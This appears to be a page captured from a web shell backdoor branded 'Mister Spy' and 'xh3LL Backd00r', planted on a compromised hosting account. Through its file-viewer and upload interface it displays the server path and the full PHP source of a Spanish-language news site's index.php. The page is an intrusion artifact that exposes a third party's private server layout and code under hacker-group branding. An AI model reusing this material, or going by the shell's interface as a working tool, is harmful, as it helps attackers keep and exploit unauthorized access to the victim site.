Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/public_html/web/
Upload File :
Current File : /home/caballoscriollos/public_html/web/index.php

<?php
require_once('inc_library.php');

$oNoticias      = new Noticias();
$oCategorias    = new Categorias();
$oEventos 		= new Eventos();
$oVideos 		= new Videos();

$arrNoticiasHome = $oNoticias->GetLast(8);
$arrEventosHome = $oEventos->GetProximosEventos(3);

$oVideoVivo = $oVideos->GetVivo();
$arrVideosHome = $oVideos->GetAll(array('Vivo' => '0'));

?>
<!DOCTYPE html>
<html lang="en">
	<?php include("ssi_head.php"); ?>
	<body class="custom-cursor">
		<div class="preloader">
			<div class="preloader__image"></div>
		</div>
		<div class="page-wrapper">
			<?php include("ssi_header.php"); ?>
			<?php include('ssi_alerta.php'); ?>
			<div class="stricky-header stricked-menu main-menu main-menu-three">
				<div class="sticky-header__content"></div><!-- /.sticky-header__content -->
			</div><!-- /.stricky-header -->
			<?php
			if ($arrNoticiasHome) {
			?>

			<section class="news-carousel-page no-bg d-block d-md-none">
			    <div class="container">
			        <div class="news-carousel news-owl__carousel owl-theme owl-carousel carousel-dot-style" data-owl-options='{
			            "items": 3,
			            "margin": 30,
			            "smartSpeed": 700,
			            "loop":true,
			            "autoplay": false,
			            "nav":false,
			            "dots":true,
			            "navText": ["<span class=\"fa fa-angle-left\"></span>","<span class=\"fa fa-angle-right\"></span>"],
			            "responsive":{
			                "0":{
			                    "items":1
			                },
			                "768":{
			                    "items":2
			                },
			                "992":{
			                    "items": 3
			                }
			            }
			        }'>
			            <?php
						for ($i=0; $i < count($arrNoticiasHome) && $i < 3; $i++) { 
							$oNoticia = $arrNoticiasHome[$i];
							$oCategoria = $oCategorias->GetById($oNoticia->IdCategoria);
							$arrFecha = explode('-', $oNoticia->Fecha);
						?>
						<div class="item">
							<div class="news-three__single">
								<div class="news-three__img-box">
									<div class="news-three__img" style="height: 308px;">
										<?php
			                            if ($oNoticia->Imagen && file_exists(str_replace('../', '', Noticia::PathImageBig) . $oNoticia->Imagen)) {
			                            ?>
			                            <img src="<?= str_replace('../', '', Noticia::PathImageBig) . $oNoticia->Imagen ?>" alt="">
			                            <?php
			                            } else {
			                            ?>
			                            <img src="assets/images/accc.jpg" alt="">
			                            <?php
			                            }
			                            ?>
									</div>
									<div class="news-three__date">
										<p><?= $arrFecha[2] ?> </p>
										<span><?= FechaMesShort($oNoticia->Fecha) ?> <?= substr($arrFecha[0], 2) ?></span>
									</div>
								</div>
								<div class="news-three__content">
									<ul class="news-three__meta list-unstyled">
										<li>
											<p class="tc-<?= $oCategoria->KeyCategoria ?>"><i class="fas fa-tag" style="margin-right: 6px"></i><?= $oCategoria->Nombre ?></p>
										</li>
									</ul>
									<h3 class="news-three__title" style="min-height: 90px">
										<a href="noticias_detalle.php?IdNoticia=<?= $oNoticia->IdNoticia ?>"><?= $oNoticia->Titulo ?></a>
									</h3>
									<div class="news-three__btn">
										<a href="noticias_detalle.php?IdNoticia=<?= $oNoticia->IdNoticia ?>">Ver m&aacute;s<span
												class="icon-right-arrow1"></span></a>
									</div>
								</div>
							</div>
						</div>
						<?php
						}
						?>
			        </div>
			    </div>
			</section>

			<div class="d-block d-md-none">
				<?php include("ssi_accesos.php"); ?>
			</div>
			<?php
			$oNoticia = $arrNoticiasHome[0];
			$oCategoria = $oCategorias->GetById($oNoticia->IdCategoria);
			?>
			<section class="news-details">
				<div class="container">
					<div class="row">
						<div class="col-xl-8 col-lg-7">
							<div class="news-details__left d-none d-md-block">
								<div class="news-details__img">
									<a href="noticias_detalle.php?IdNoticia=<?= $oNoticia->IdNoticia ?>">
										<?php
			                            if ($oNoticia->Imagen && file_exists(str_replace('../', '', Noticia::PathImageBig) . $oNoticia->Imagen)) {
			                            ?>
			                            <img src="<?= str_replace('../', '', Noticia::PathImageBig) . $oNoticia->Imagen ?>" alt="">
			                            <?php
			                            } else {
			                            ?>
			                            <img src="assets/images/accc.jpg" alt="">
			                            <?php
			                            }
			                            ?>
		                        	</a>
								</div>
								<div class="news-details__author-and-meta">
									<div class="news-details__meta no-m-l">
										<p><span class="fas fa-calendar"></span><?= FechaLetras($oNoticia->Fecha) ?></p>
										<p class="tc-<?= $oCategoria->KeyCategoria ?>"><span class="fas fa-tag"></span><?= utf8_encode($oCategoria->Nombre) ?></p>
									</div>
								</div>
								<h3 class="news-details__title-1">
									<a href="noticias_detalle.php?IdNoticia=<?= $oNoticia->IdNoticia ?>"><?= $oNoticia->Titulo ?></a>
								</h3>
							</div>
  							<?php if (count($arrNoticiasHome) > 1) {
  							?>
							<h3 class="news-details__title-4 d-none d-md-block">Noticias</h3>
							<div class="row d-none d-md-flex">
								<?php
								for ($i=1; $i < count($arrNoticiasHome) && $i < 5; $i++) { 
									$oNoticia = $arrNoticiasHome[$i];
									$oCategoria = $oCategorias->GetById($oNoticia->IdCategoria);
									$arrFecha = explode('-', $oNoticia->Fecha);
								?>
								<div class="col-xl-6">
									<div class="news-three__single">
										<div class="news-three__img-box">
											<div class="news-three__img" style="height: 308px;">
												<?php
					                            if ($oNoticia->Imagen && file_exists(str_replace('../', '', Noticia::PathImageBig) . $oNoticia->Imagen)) {
					                            ?>
					                            <img src="<?= str_replace('../', '', Noticia::PathImageBig) . $oNoticia->Imagen ?>" alt="">
					                            <?php
					                            } else {
					                            ?>
					                            <img src="assets/images/accc.jpg" alt="">
					                            <?php
					                            }
					                            ?>
											</div>
											<div class="news-three__date">
												<p><?= $arrFecha[2] ?> </p>
												<span><?= FechaMesShort($oNoticia->Fecha) ?> <?= substr($arrFecha[0], 2) ?></span>
											</div>
										</div>
										<div class="news-three__content">
											<ul class="news-three__meta list-unstyled">
												<li>
													<p class="tc-<?= $oCategoria->KeyCategoria ?>"><i class="fas fa-tag" style="margin-right: 6px"></i><?= utf8_encode($oCategoria->Nombre) ?></p>
												</li>
											</ul>
											<h3 class="news-three__title" style="min-height: 90px">
												<a href="noticias_detalle.php?IdNoticia=<?= $oNoticia->IdNoticia ?>"><?= $oNoticia->Titulo ?></a>
											</h3>
											<div class="news-three__btn">
												<a href="noticias_detalle.php?IdNoticia=<?= $oNoticia->IdNoticia ?>">Ver m&aacute;s<span
														class="icon-right-arrow1"></span></a>
											</div>
										</div>
									</div>
								</div>
								<?php
								}
								?>
							</div>
							<?php
							}
							?>
						</div>
						<div class="col-xl-4 col-lg-5">
							<?php include("ssi_sidebar.php"); ?>  
						</div>
					</div>
				</div>
			</section>
			<?php
			}
			?>
			<div class="d-none d-md-block">
				<?php include("ssi_accesos.php"); ?>
			</div>
			<!--
			<section class="cta-one">
	            <div class="container">
	                <div class="cta-one__inner" style="padding-top:0px;padding-bottom:0px;">
	                	<img src="assets/images/hilux.jpg" class="w-100" />
	                </div>
	            </div>
	        </section>
	        -->
			<?php include("ssi_banners.php"); ?>  
			<?php include("ssi_videos_home.php"); ?>  
			<?php include("ssi_logos.php"); ?>  
			<?php include("ssi_footer.php"); ?>  

		</div><!-- /.page-wrapper -->
		<?php include("ssi_mobile.php"); ?>  
		<?php include("ssi_search.php"); ?>  
		
		<?php include("ssi_scripts.php"); ?>   
		<!--
		<a href="assets/images/popup.jpg" class="popup-link" style="display:none;">Open popup</a>

		<script type="text/javascript">
			$(document).ready(function() {
				 $('.popup-link').magnificPopup({
			         type: 'image'
			         // Otras opciones si es necesario
			     }).magnificPopup('open');
			});
		</script> 
		--> 
	</body>
</html>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat